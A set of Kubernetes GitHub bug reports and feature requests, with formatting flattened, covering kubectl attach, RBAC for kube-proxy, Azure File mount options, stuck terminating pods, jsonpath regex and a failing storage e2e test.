\tcorev1.addtoscheme scheme \r \textensionsv1beta1.addtoscheme scheme \r \tnetworkingv1.addtoscheme scheme \r \tpolicyv1beta1.addtoscheme scheme \r \trbacv1.addtoscheme scheme \r \trbacv1beta1.addtoscheme scheme \r \trbacv1alpha1.addtoscheme scheme \r \tschedulingv1alpha1.addtoscheme scheme \r \tsettingsv1alpha1.addtoscheme scheme \r \tstoragev1beta1.addtoscheme scheme \r \tstoragev1.addtoscheme scheme \r }\r    \r \r   what you expected to happen  :\r proper error handling.\r also, maybe some of the functions can be changed to not return  error  because they always return nil?\r \r  

\r    what happened  :\r  kubectl attach <pod-name>  was not showing the output \ started, serving at 8080\ \r but   kubectl logs <pod-name>  shows \ started, serving at 8080\ \r \r   what you expected to happen  :\r  kubectl attach <pod-name>   to show the output \ started, serving at 8080\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. kubectl create -f https://raw.githubusercontent.com/openshift-qe/v3-testfiles/master/pods/pod_with_two_containers.json\r 2. wait until pod running\r 3. kubectl attach doublecontainers\r \r   anything else we need to know?  :\r it works on 1.6 release\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.502+736846baf91170-dirty\ , gitcommit:\ 736846baf9117051b6a75cc0dbb5807a628bb9e6\ , gittreestate:\ dirty\ , builddate:\ 2017-09-09t01:28:27z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.502+736846baf91170-dirty\ , gitcommit:\ 736846baf9117051b6a75cc0dbb5807a628bb9e6\ , gittreestate:\ dirty\ , builddate:\ 2017-09-09t01:28:27z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - os  e.g. from /etc/os-release :\r name=\ red hat enterprise linux server\ \r version=\ 7.3  maipo \ \r id=\ rhel\ \r id_like=\ fedora\ \r version_id=\ 7.3\ \r \r - kernel  e.g.  uname -a  :\r 3.10.0-514.21.1.el7.x86_64\r \r \r

\r   is this a bug report or feature request?  :\r feature request\r >  \r   what happened  :\r i want to be able to query multiple namespaces while querying the cluster just like we have the flexibility to add multiple labels to kubectl.\r \r   what you expected to happen  :\r return resource list running in multiple namespaces\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r > kubectl top pods -n production,kube-system  --context ap.k8s.saltside.net\r \r                                                                                                     \r  error: invalid namespace: production,kube-system -  a dns-1123 label must consist of lower case alphanumeric characters or '-', and must start and end with an alphanumeric character  e.g. 'my-name',  or '123-abc', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ?'   \r \r \r   anything else we need to know?  :\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.503+24ad0d211bf97c\ , gitcommit:\ 24ad0d211bf97cd5d49a63337a35997fcc943412\ , gittreestate:\ clean\ , builddate:\ 2017-09-09t09:18:22z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.7\ , gitcommit:\ 8eb75a5810cba92ccad845ca360cf924f2385881\ , gittreestate:\ clean\ , builddate:\ 2017-04-27t09:42:05z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r aws\r \r - os  e.g. from /etc/os-release :\r macos is the client and the cluster consists of debian jessie machins\r

 \r   what happened  : error data seems to always be text/plain\r \r   what you expected to happen  : i expect to get json data. i would expect it to be by default, but especially should happen when the accept header is set to application/json.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r curl -vv -k -x post -h \ content-type: application/json\  -h \ accept: application/json,  / \  -d '{\ apiversion\ :\ v1\ ,\ kind\ :\ namespace\ ,\ metadata\ :{\ name\ :\ test\ }}' https://127.0.0.1:8443/api/v1/namespaces\r \r > post /api/v1/namespaces http/2\r > host: 127.0.0.1:8443\r > user-agent: curl/7.53.1\r > content-type: application/json\r > accept: application/json,  / \r > content-length: 65\r > \r \r < http/2 403 \r < cache-control: no-store\r < content-type: text/plain\r < x-content-type-options: nosniff\r < content-length: 140\r < date: tue, 19 sep 2017 23:19:08 gmt\r < \r user \ system:anonymous\  cannot create namespaces at the cluster scope: user \ system:anonymous\  cannot create namespaces at the cluster scope\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r tested with:\r \r    \r   \ major\ : \ 1\ ,\r   \ minor\ : \ 7\ ,\r   \ gitversion\ : \ v1.7.5\ ,\r   \ gitcommit\ : \ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ ,\r   \ gittreestate\ : \ clean\ ,\r   \ builddate\ : \ 2017-08-31t08:56:23z\ ,\r   \ goversion\ : \ go1.8.3\ ,\r   \ compiler\ : \ gc\ ,\r   \ platform\ : \ linux/amd64\ \r    \r and \r \r    \r   \ major\ : \ 1\ ,\r   \ minor\ : \ 7\ ,\r   \ gitversion\ : \ v1.7.0+80709908fd\ ,\r   \ gitcommit\ : \ 930b5c4\ ,\r   \ gittreestate\ : \ clean\ ,\r   \ builddate\ : \ 2017-09-19t21:20:25z\ ,\r   \ goversion\ : \ go1.8.3\ ,\r   \ compiler\ : \ gc\ ,\r   \ platform\ : \ linux/amd64\ \r    \r \r - cloud provider or hardware configuration  : bare metal, gce\r - os  e.g. from /etc/os-release : fedora 26\r - kernel  e.g.  uname -a  : linux localhost.localdomain 4.12.11-300.fc26.x86_64  1 smp thu sep 7 18:32:12 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r

is this a bug report or feature request?  : bug\r  \r   what happened  :\r after upgrading from v1.7.5 to v1.8.0, my kube-proxies  running as static pods  stopped working.\r kube-proxy log shows:\r    \r e1004 13:09:44.836719       1 reflector.go:205  k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:73: failed to list  api.endpoints: endpoints is forbidden: user \ system:node-proxier\  cannot list endpoints at the cluster scope\r    \r \r   what you expected to happen  :\r it should be able to get necessary information to operate\r \r   how to reproduce it  as minimally and precisely as possible   :\r create kube-proxy certs with the following title: /cn=system:node-proxier/o=system:node-proxier\r \r   anything else we need to know?  :\r i tried the following combinations with the same results:\r cn=system:node-proxier/o=system:node-proxier\r cn=kube-proxy/o=system:node-proxier\r cn=system:node-proxier:nodeid/o=system:node-proxier\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.0\r - cloud provider or hardware configuration  : none\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r - install tools: kubespray\r - others:\r

this issue tracks progress for the cadvisor release corresponding to the kubernetes 1.9 release.\r cutting the cadvisor release is currently targeted for 11/17.\r this cadvisor release should include per-container gpu stats, on-demand metrics, and containerd stats, among other things.\r \r cc @dchen1107 @random-liu @derekwaynecarr @abhi @mindprince \r  

as i known, docker will send kill -9 signal while container oom and enabled oomkill option. but it seems that we do not support do something while the container is killing due to oom.\r \r plans are:\r a: send sigterm signal to wait container clean exit;\r b: register linux eventfd to watch memory pressure and alert to container process.\r \r both these two plans are tested via  this repo  https://github.com/colstuwjx/go-oom  and there is no clean way to implement this feature, any k8s way to achieve this? this is a  relative issue  https://github.com/moby/moby/issues/35817  from docker.\r \r thanks.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r  \r   what happened  :\r i attempted to setup azure file volume using azurefile with mountoptions: dir_mode=0777, file_mode=0777.  the volume was successfully mounted, however file_mode and dir_mode contains default values  https://docs.microsoft.com/en-us/azure/aks/azure-files-dynamic-pv mount-options   file_mode=0755,dir_mode=0755 for v1.9.1\r \r   what you expected to happen  :\r it should use the given values dir_mode=0777, file_mode=0777\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r storageclass, persistentvolume, persistentvolumeclaim as the following\r \r \r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: azurefile\r provisioner: kubernetes.io/azure-file\r mountoptions:\r   - dir_mode=0777\r   - file_mode=0777\r   - uid=1000\r   - gid=1000\r parameters:\r   skuname: standard_lrs\r    \r \r    \r kind: persistentvolume\r apiversion: v1\r metadata:\r   name: wp-pv\r   namespace: wp-backend\r spec:\r   storageclassname: azurefile\r   capacity:\r     storage: 5gi\r   accessmodes:\r   - readwriteonce\r   azurefile:\r     secretname: wp-azure-secret\r     sharename: wordpress\r     readonly: false\r   claimref:\r     name: wp-az-files\r     namespace: wp-backend\r    \r \r    \r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: wp-az-files\r   namespace: wp-backend\r   labels:\r     app: wordpress\r spec:\r   storageclassname: azurefile\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 5gi\r    \r \r all components have been successfully created and available in kubernetes dashboard.\r the deployment was created using the following yaml:\r \r    \r apiversion: apps/v1beta2\r kind: deployment\r metadata:\r   name: wordpress\r   namespace: wp-backend\r   labels:\r     app: wordpress\r spec:\r   selector:\r     matchlabels:\r       app: wordpress\r       tier: frontend\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         app: wordpress\r         tier: frontend\r     spec:\r       containers:\r       - image: wordpress:4.9.2-php5.6-apache\r         name: wordpress\r         env:\r         - name: wordpress_db_host\r           valuefrom:\r             secretkeyref:\r               name: wp-mysql-secret\r               key: host\r         - name: wordpress_db_name\r           valuefrom:\r             secretkeyref:\r               name: wp-mysql-secret\r               key: dbname\r         - name: wordpress_db_user\r           valuefrom:\r             secretkeyref:\r               name: wp-mysql-secret\r               key: user\r         - name: wordpress_db_password\r           valuefrom:\r             secretkeyref:\r               name: wp-mysql-secret\r               key: password\r         ports:\r         - containerport: 80\r           name: wordpress\r         volumemounts:\r         - name: wordpress-persistent-storage\r           mountpath: /var/www/html\r       volumes:\r       - name: wordpress-persistent-storage\r         persistentvolumeclaim:\r           claimname: wp-az-files\r    \r \r the  mount  command confirms that the volume was mounted with file_mode=0755,dir_mode=0755, ignoring settings from the storageclass\r \r  //xxxxxxx.file.core.windows.net/wordpress on /var/www/html type cifs  rw,relatime,vers=3.0,cache=strict,username=xxxxxx,domain=,uid=0,noforceuid,gid=0,noforcegid,addr=191.239.203.12,file_mode=0755,dir_mode=0755,persistenthandles,nounix,serverino,mapposix,rsize=1048576,wsize=1048576,echo_interval=60,actimeo=1  \r \r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.1\ , gitcommit:\ 3a1c9449a956b6026f075fa3134ff92f7d55f812\ , gittreestate:\ clean\ , builddate:\ 2018-01-04t11:40:06z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: azure aks\r - os  e.g. from /etc/os-release : pretty_name=\ debian gnu/linux 8  jessie \ \r - kernel  e.g.  uname -a  : linux wordpress-5b486654cf-7b7sg 4.11.0-1016-azure  16-ubuntu smp tue dec 5 22:52:08 utc 2017 x86_64 gnu/linux\r - install tools:\r - others:\r \r @kubernetes/sig-azure-bugs\r \r 

is this a bug report or feature request?  :\r  \r   what happened  :\r one of my nodes went down and the remaining nodes could not support all the remaining pods. i rebooted the nodes to get the pods to restart but still some where not restarting so eventually i terminated the ec2 nodes. \r \r now i still have some pods stuck \r \r   what you expected to happen  :\r \r now that i have these stuck pods how do i get rid of them. the nodes and deployment and replica sets are all deleted. just these pods are left which i can't get rid of.\r \r    \r > kubectl delete pods grafana-grafana-68666bf8b-p47vq --force  --timeout=0s\r pod \ grafana-grafana-68666bf8b-p47vq\  deleted\r \r but in effect it was not deleted and it is still around no matter how many times i run the delete pods command.\r \r    \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r > kubectl get pods | grep terminating\r kafka-cons-7f54bf4ff7-zxn2t                   0/4       terminating   0          1d\r grafana-grafana-68666bf8b-p47vq         0/1       terminating   0          1d\r \r \r > kubectl describe pod grafana-grafana-68666bf8b-p47vq\r name:                      grafana-grafana-68666bf8b-p47vq\r namespace:                 default\r node:                      ip-172-20-57-175.ec2.internal/172.20.57.175\r start time:                sun, 18 feb 2018 22:31:09 -0800\r labels:                    app=grafana-grafana\r                            component=grafana\r                            pod-template-hash=242226946\r                            release=grafana\r annotations:               checksum/config=7864d8107c05aec4bb7b398fc5ada6bdb4a197bb3ae3d1a3e5db347ceb162458\r                            checksum/dashboards-config=bdae026110c4098fa1563d79ce64d392bf5c179d25cedaba8f2cae97b3db72bc\r                            kubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ grafana-grafana-68666bf8b\ ,\ uid\ :\ 78043313-153e-11e8-9cb9-0aa40b...\r status:                    terminating  expires mon, 19 feb 2018 23:50:55 -0800 \r termination grace period:  0s\r ip:                        \r controlled by:             replicaset/grafana-grafana-68666bf8b\r containers:\r   grafana:\r     container id:   docker://cfc193fd73cdeb782476d0fbf1904760942fe0ede088005b3a4d24f5de49a36b\r     image:          grafana/grafana:4.6.3\r     image id:       docker-pullable://grafana/grafana@sha256:6397aafb899ef7a9ca61c2ef80863dbebce504620b044954d80203e0b8c1ada4\r     port:           3000/tcp\r     state:          terminated\r       exit code:    0\r       started:      mon, 01 jan 0001 00:00:00 +0000\r       finished:     mon, 01 jan 0001 00:00:00 +0000\r     ready:          false\r     restart count:  0\r     requests:\r       cpu:      100m\r       memory:   100mi\r     readiness:  http-get http://:3000/api/health delay=30s timeout=30s period=10s  success=1  failure=3\r     environment:\r       gf_security_admin_user:      <set to the key 'grafana-admin-user' in secret 'grafana-grafana'>      optional: false\r       gf_security_admin_password:  <set to the key 'grafana-admin-password' in secret 'grafana-grafana'>  optional: false\r     mounts:\r       /etc/grafana from config-volume  rw \r       /var/lib/grafana from storage-volume  rw \r       /var/lib/grafana/dashboards from dashboard-volume  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-j52jh  ro \r conditions:\r   type           status\r   initialized    true \r   ready          false \r   podscheduled   true \r volumes:\r   config-volume:\r     type:      configmap  a volume populated by a configmap \r     name:      grafana-grafana-config\r     optional:  false\r   dashboard-volume:\r     type:      configmap  a volume populated by a configmap \r     name:      grafana-grafana-dashs\r     optional:  false\r   storage-volume:\r     type:       persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:  grafana-grafana\r     readonly:   false\r   default-token-j52jh:\r     type:        secret  a volume populated by a secret \r     secretname:  default-token-j52jh\r     optional:    false\r qos class:       burstable\r node-selectors:  <none>\r tolerations:     node.alpha.kubernetes.io/notready:noexecute for 300s\r                  node.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:          <none>\r \r \r    \r \r   anything else we need to know?  :\r \r the deployments and replica set are all done because i uninstalled grafana via helm:\r \r    \r > helm delete grafana --purge\r \r    \r \r \r    \r {\r   \ kind\ : \ pod\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {\r     \ name\ : \ grafana-grafana-68666bf8b-p47vq\ ,\r     \ generatename\ : \ grafana-grafana-68666bf8b-\ ,\r     \ namespace\ : \ default\ ,\r     \ selflink\ : \ /api/v1/namespaces/default/pods/grafana-grafana-68666bf8b-p47vq\ ,\r     \ uid\ : \ 78073a53-153e-11e8-9cb9-0aa40bb952d6\ ,\r     \ resourceversion\ : \ 1450268\ ,\r     \ creationtimestamp\ : \ 2018-02-19t06:31:08z\ ,\r     \ deletiontimestamp\ : \ 2018-02-20t08:17:16z\ ,\r     \ deletiongraceperiodseconds\ : 0,\r     \ labels\ : {\r       \ app\ : \ grafana-grafana\ ,\r       \ component\ : \ grafana\ ,\r       \ pod-template-hash\ : \ 242226946\ ,\r       \ release\ : \ grafana\ \r     },\r     \ annotations\ : {\r       \ checksum/config\ : \ 7864d8107c05aec4bb7b398fc5ada6bdb4a197bb3ae3d1a3e5db347ceb162458\ ,\r       \ checksum/dashboards-config\ : \ bdae026110c4098fa1563d79ce64d392bf5c179d25cedaba8f2cae97b3db72bc\ ,\r       \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicaset\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ grafana-grafana-68666bf8b\\\ ,\\\ uid\\\ :\\\ 78043313-153e-11e8-9cb9-0aa40bb952d6\\\ ,\\\ apiversion\\\ :\\\ extensions\\\ ,\\\ resourceversion\\\ :\\\ 1312504\\\ }}\ \ \r     },\r     \ ownerreferences\ :  \r       {\r         \ apiversion\ : \ extensions/v1beta1\ ,\r         \ kind\ : \ replicaset\ ,\r         \ name\ : \ grafana-grafana-68666bf8b\ ,\r         \ uid\ : \ 78043313-153e-11e8-9cb9-0aa40bb952d6\ ,\r         \ controller\ : true,\r         \ blockownerdeletion\ : true\r       }\r      ,\r     \ finalizers\ :  \r       \ foregrounddeletion\ \r      \r   },\r   \ spec\ : {\r     \ volumes\ :  \r       {\r         \ name\ : \ config-volume\ ,\r         \ configmap\ : {\r           \ name\ : \ grafana-grafana-config\ ,\r           \ defaultmode\ : 420\r         }\r       },\r       {\r         \ name\ : \ dashboard-volume\ ,\r         \ configmap\ : {\r           \ name\ : \ grafana-grafana-dashs\ ,\r           \ defaultmode\ : 420\r         }\r       },\r       {\r         \ name\ : \ storage-volume\ ,\r         \ persistentvolumeclaim\ : {\r           \ claimname\ : \ grafana-grafana\ \r         }\r       },\r       {\r         \ name\ : \ default-token-j52jh\ ,\r         \ secret\ : {\r           \ secretname\ : \ default-token-j52jh\ ,\r           \ defaultmode\ : 420\r         }\r       }\r      ,\r     \ containers\ :  \r       {\r         \ name\ : \ grafana\ ,\r         \ image\ : \ grafana/grafana:4.6.3\ ,\r         \ ports\ :  \r           {\r             \ containerport\ : 3000,\r             \ protocol\ : \ tcp\ \r           }\r          ,\r         \ env\ :  \r           {\r             \ name\ : \ gf_security_admin_user\ ,\r             \ valuefrom\ : {\r               \ secretkeyref\ : {\r                 \ name\ : \ grafana-grafana\ ,\r                 \ key\ : \ grafana-admin-user\ \r               }\r             }\r           },\r           {\r             \ name\ : \ gf_security_admin_password\ ,\r             \ valuefrom\ : {\r               \ secretkeyref\ : {\r                 \ name\ : \ grafana-grafana\ ,\r                 \ key\ : \ grafana-\ \r               }\r             }\r           }\r          ,\r         \ resources\ : {\r           \ requests\ : {\r             \ cpu\ : \ 100m\ ,\r             \ memory\ : \ 100mi\ \r           }\r         },\r         \ volumemounts\ :  \r           {\r             \ name\ : \ config-volume\ ,\r             \ mountpath\ : \ /etc/grafana\ \r           },\r           {\r             \ name\ : \ dashboard-volume\ ,\r             \ mountpath\ : \ /var/lib/grafana/dashboards\ \r           },\r           {\r             \ name\ : \ storage-volume\ ,\r             \ mountpath\ : \ /var/lib/grafana\ \r           },\r           {\r             \ name\ : \ default-token-j52jh\ ,\r             \ readonly\ : true,\r             \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\ \r           }\r          ,\r         \ readinessprobe\ : {\r           \ httpget\ : {\r             \ path\ : \ /api/health\ ,\r             \ port\ : 3000,\r             \ scheme\ : \ http\ \r           },\r           \ initialdelayseconds\ : 30,\r           \ timeoutseconds\ : 30,\r           \ periodseconds\ : 10,\r           \ successthreshold\ : 1,\r           \ failurethreshold\ : 3\r         },\r         \ terminationmessagepath\ : \ /dev/termination-log\ ,\r         \ terminationmessagepolicy\ : \ file\ ,\r         \ imagepullpolicy\ : \ always\ \r       }\r      ,\r     \ restartpolicy\ : \ always\ ,\r     \ terminationgraceperiodseconds\ : 300,\r     \ dnspolicy\ : \ clusterfirst\ ,\r     \ serviceaccountname\ : \ default\ ,\r     \ serviceaccount\ : \ default\ ,\r     \ nodename\ : \ ip-172-20-57-175.ec2.internal\ ,\r     \ securitycontext\ : {},\r     \ schedulername\ : \ default-scheduler\ ,\r     \ tolerations\ :  \r       {\r         \ key\ : \ node.alpha.kubernetes.io/notready\ ,\r         \ operator\ : \ exists\ ,\r         \ effect\ : \ noexecute\ ,\r         \ tolerationseconds\ : 300\r       },\r       {\r         \ key\ : \ node.alpha.kubernetes.io/unreachable\ ,\r         \ operator\ : \ exists\ ,\r         \ effect\ : \ noexecute\ ,\r         \ tolerationseconds\ : 300\r       }\r      \r   },\r   \ status\ : {\r     \ phase\ : \ running\ ,\r     \ conditions\ :  \r       {\r         \ type\ : \ initialized\ ,\r         \ status\ : \ true\ ,\r         \ lastprobetime\ : null,\r         \ lasttransitiontime\ : \ 2018-02-19t06:31:09z\ \r       },\r       {\r         \ type\ : \ ready\ ,\r         \ status\ : \ false\ ,\r         \ lastprobetime\ : null,\r         \ lasttransitiontime\ : \ 2018-02-20t01:06:37z\ ,\r         \ reason\ : \ containersnotready\ ,\r         \ message\ : \ containers with unready status:  grafana \ \r       },\r       {\r         \ type\ : \ podscheduled\ ,\r         \ status\ : \ true\ ,\r         \ lastprobetime\ : null,\r         \ lasttransitiontime\ : \ 2018-02-19t06:31:09z\ \r       }\r      ,\r     \ hostip\ : \ 172.20.57.175\ ,\r     \ starttime\ : \ 2018-02-19t06:31:09z\ ,\r     \ containerstatuses\ :  \r       {\r         \ name\ : \ grafana\ ,\r         \ state\ : {\r           \ terminated\ : {\r             \ exitcode\ : 0,\r             \ startedat\ : null,\r             \ finishedat\ : null\r           }\r         },\r         \ laststate\ : {},\r         \ ready\ : false,\r         \ restartcount\ : 0,\r         \ image\ : \ grafana/grafana:4.6.3\ ,\r         \ imageid\ : \ docker-pullable://grafana/grafana@sha256:6397aafb899ef7a9ca61c2ef80863dbebce504620b044954d80203e0b8c1ada4\ ,\r         \ containerid\ : \ docker://cfc193fd73cdeb782476d0fbf1904760942fe0ede088005b3a4d24f5de49a36b\ \r       }\r      ,\r     \ qosclass\ : \ burstable\ \r   }\r }\r    \r \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:51:54z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:23:29z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r \r - cloud provider or hardware configuration:\r \r ec2 t2 micro for nodes and master\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r \r kops 1.8\r \r - others:\r \r @kubernetes/sig-bugs

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r trying to use the following json-path expression:\r \r    \r kubectl get secrets -o jsonpath='{.items ? @.metadata.name=~/^test$/  .metadata.name}'\r    \r \r resulted in the following error:\r \r    \r error: error parsing jsonpath {.items ? @.metadata.name=~/^test$/  .metadata.name}, unrecognized character in action: u+007e '~'\r    \r \r   what you expected to happen  :\r \r getting the list of secret names that match the regular expression.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    sh\r kubectl get secrets -o jsonpath='{.items ? @.metadata.name=~/^default-/  }'\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.6  client  / 1.7.12-gke.1  server \r - cloud provider or hardware configuration: macbook pro\r - os  e.g. from /etc/os-release : macos 10.13\r - kernel  e.g.  uname -a  : darwin macbook-pro-3.local 17.0.0 darwin kernel version 17.0.0: thu aug 24 21:48:19 pdt 2017; root:xnu-4570.1.46~2/release_x86_64 x86_64\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  : when creating a pod with  securitycontext.privileged: true , stats summary endpoint list 2 container with the same name for the pod. one with cpu 0 and memory 0, and the other one with good values.\r \r  ps: they are from the same podref \r    console\r curl -s http://172.20.74.96:10255/stats/summary | grep concourse-worker -a 6\r      \ name\ : \ concourse-worker-1\ ,\r      \ namespace\ : \ sre-concourse\ ,\r      \ uid\ : \ ab46c728-757d-11e8-ab9a-0e41f808ae3c\ \r     },\r     \ starttime\ : \ 2018-06-21t18:05:24z\ ,\r     \ containers\ :  \r      {\r       \ name\ : \ concourse-worker\ ,\r       \ starttime\ : \ 2018-06-21t18:05:25z\ ,\r       \ cpu\ : {\r        \ time\ : \ 2018-06-21t18:23:37z\ ,\r        \ usagenanocores\ : 0,\r        \ usagecorenanoseconds\ : 0\r       },\r --\r       \ name\ : \ concourse-worker\ ,\r       \ starttime\ : \ 2018-06-21t18:05:24z\ ,\r       \ cpu\ : {\r        \ time\ : \ 2018-06-21t18:23:36z\ ,\r        \ usagenanocores\ : 203241463,\r        \ usagecorenanoseconds\ : 194938403350\r       },\r    \r \r   what you expected to happen  : i expected to see only one container for my pod.\r \r   how to reproduce it  as minimally and precisely as possible   : create a deployment with  securitycontext.privileged: true .\r \r   anything else we need to know?  : it screws with metrics-server & hpa, that how i stumbled upon this.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.3\r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release : whatever comes with kops version 1.9.0  git-cccd71e67 \r - kernel  e.g.  uname -a  : whatever comes with kops version 1.9.0  git-cccd71e67 \r - install tools: kops\r - others: nothing.\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r  ￼kubectl describe pv xxx  shows last<invalid> if pv is terminating\r ! image  https://user-images.githubusercontent.com/12230714/53621242-e3d51480-3c30-11e9-99f3-785a2b83898d.png \r \r i found pvc and pod  have the same issue\r \r   what you expected to happen  :\r terminating  lasts 10s \r   how to reproduce it  as minimally and precisely as possible   :\r 1 create  a pv, pvc or pod is terminating\r 2 using kubectk describe xxx\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.3\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  ci-kubernetes-e2e-gci-gce-slow  in  sig-release-master-blocking gce-cos-master-slow  https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-slow \r \r   which test s  are failing  :\r   sig-storage  persistentvolumes default storageclass pods that use multiple volumes should be reschedulable  slow  .\r \r see for example,  prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/1112749851751223299  https://prow.k8s.io/view/gcs/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-slow/1112749851751223299 .\r \r   since when has it been failing  :\r test has been failing since 21:07 pdt 3/26.\r the test failures seem to coincide with  kubernetes/kubernetes/compare/42770799d...29353452c  https://github.com/kubernetes/kubernetes/compare/42770799d...29353452c .\r more specifically, with this pr:  add e2e tests for multiattach  74693  https://github.com/kubernetes/kubernetes/pull/74693 .\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-blocking gce-cos-master-slow\r \r   triage link  :\r  triage - ci-kubernetes-e2e-gci-gce-slow  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gce-slow&test=persistentvolumes%20default%20storageclass%20pods%20that%20use%20multiple%20volumes%20should%20be%20reschedulable \r \r   reason for failure  :\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes.go:312\r unexpected error:\r     < errors.errorstring | 0xc002301be0>: {\r         s: \ pod create api error: pod \\\ security-context-70b94021-4541-4026-9ab3-49fb5f644af5\\\  is invalid:  spec.volumes 0 .persistentvolumeclaim.claimname: required value, spec.volumes 1 .persistentvolumeclaim.claimname: required value, spec.volumes 2 .persistentvolumeclaim.claimname: required value, spec.volumes 3 .persistentvolumeclaim.claimname: required value, spec.containers 0 .volumemounts 0 .name: not found: \\\ volume1\\\ , spec.containers 0 .volumemounts 1 .name: not found: \\\ volume2\\\ , spec.containers 0 .volumemounts 2 .name: not found: \\\ volume3\\\ , spec.containers 0 .volumemounts 3 .name: not found: \\\ volume4\\\  \ ,\r     }\r     pod create api error: pod \ security-context-70b94021-4541-4026-9ab3-49fb5f644af5\  is invalid:  spec.volumes 0 .persistentvolumeclaim.claimname: required value, spec.volumes 1 .persistentvolumeclaim.claimname: required value, spec.volumes 2 .persistentvolumeclaim.claimname: required value, spec.volumes 3 .persistentvolumeclaim.claimname: required value, 